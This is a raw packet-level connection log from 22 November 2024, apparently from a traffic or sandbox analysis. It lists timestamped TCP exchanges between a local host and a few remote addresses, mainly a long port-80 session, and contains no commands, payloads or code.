Nov 22, 2024 14:43:53.943173885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.944134951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.944180012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.944313049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.944525957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.945383072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.945398092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.945440054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.945456028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.945565939 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.945625067 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.945688009 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.945972919 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.945990086 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.946001053 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.946006060 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.946573019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.946588039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.946645021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.946677923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.947746038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.947760105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.947815895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.948970079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.948987007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.949024916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.949039936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.949934006 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.949963093 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.950105906 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.950122118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.950138092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.950166941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.950182915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.950345993 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.950357914 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.951282978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.951304913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.951334000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.951360941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.952594995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.952608109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.952689886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.953857899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.953875065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.953917027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.961179018 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.961967945 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.961981058 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.962018967 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:53.962052107 CET	49872	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:54.002147913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.008083105 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.008263111 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.008363008 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.008725882 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.008742094 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.008747101 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.008753061 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.013022900 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.013052940 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.013263941 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.014925957 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:54.014939070 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:54.121869087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.453181028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.453268051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.453280926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.453325987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.453619003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.453633070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.453672886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.453687906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.454854012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.454921007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.454998970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.455163956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.455938101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.455993891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.456516027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.456569910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.457130909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.457475901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.457537889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.458410978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.458422899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.458473921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.458493948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.459639072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.459650993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.459706068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.459749937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.460788965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.460849047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.460905075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.461070061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.461991072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.462378979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.462476969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.462666988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.463213921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.463269949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.463777065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.463831902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.464433908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.464494944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.465028048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.465090036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.465624094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.465681076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.465986967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.466873884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.466933012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.467003107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.467142105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.468127966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.468184948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.468283892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.468416929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.469290972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.469346046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.469413042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.469516039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.470524073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.470688105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.470750093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.471777916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.471837044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.471930027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.471986055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.472987890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.473575115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.473645926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.474168062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.474180937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.474237919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.475450039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.475465059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.475516081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.475548983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.476711035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.476768970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.476821899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.476885080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.477915049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.477967024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.478108883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.478161097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.479162931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.479191065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.479218006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.479231119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.480272055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.480295897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.480354071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.481437922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.481493950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.482465982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.482523918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.482687950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.482737064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.483194113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.483903885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.483962059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.483973026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.484199047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.485259056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.485507965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.485600948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.486414909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.486907005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.486968040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.487546921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.487600088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.487611055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.487803936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.488784075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.488845110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.489454985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.489515066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.489984989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.490004063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.490039110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.490061998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.491161108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.491214037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.491282940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.492374897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.492388964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.492454052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.493655920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.493725061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.493756056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.493916035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.494833946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.494900942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.495203018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.495260954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.496073008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.496129990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.496141911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.496186018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.497242928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.497256994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.497313976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.498483896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.498496056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.498542070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.499702930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.499718904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.499759912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.499787092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.500929117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.500948906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.500982046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.501003027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.502185106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.502240896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.502279997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.502825975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.503324032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.503377914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.503803968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.503859043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.504581928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.504596949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.504658937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.505815029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.505949974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.505970001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.506025076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.507009029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.507031918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.507086992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.508222103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.508238077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.508270979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.508299112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.509430885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.509444952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.509491920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.510654926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.510710001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.511024952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.511683941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.511883020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.511943102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.511982918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.512178898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.513165951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.513180017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.513232946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.514383078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.514434099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.514467001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.514489889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.515542030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.515599966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.515644073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.515789032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.516848087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.516860008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.516920090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.517935991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.517996073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.518043041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.519125938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.519177914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.654781103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.654851913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.654869080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.654896021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.655371904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.655934095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.656013012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.656536102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.656594992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.656794071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.656946898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.657726049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.657788038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.657860041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.657916069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.658921003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.659049988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.659115076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.660046101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.660104036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.660119057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.660168886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.661294937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.661706924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.661782026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.662411928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.662462950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.662472010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.662717104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.663604975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.663727999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.663923025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.664787054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.664931059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.664988995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.666043043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.666094065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.666353941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.666404009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.667226076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.667280912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.667664051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.667714119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.668354034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.668365955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.668432951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.669670105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.669730902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.670331955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.670672894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.670681000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.670694113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.670737028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.671869993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.671884060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.671956062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.673063040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.673207045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.673270941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.674254894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.674329042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.674329042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.674539089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.675482988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.675569057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.676397085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.676467896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.676688910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.676984072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.677644014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.677706003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.677751064 CET	80	49819	185.215.113.206	192.168.2.6
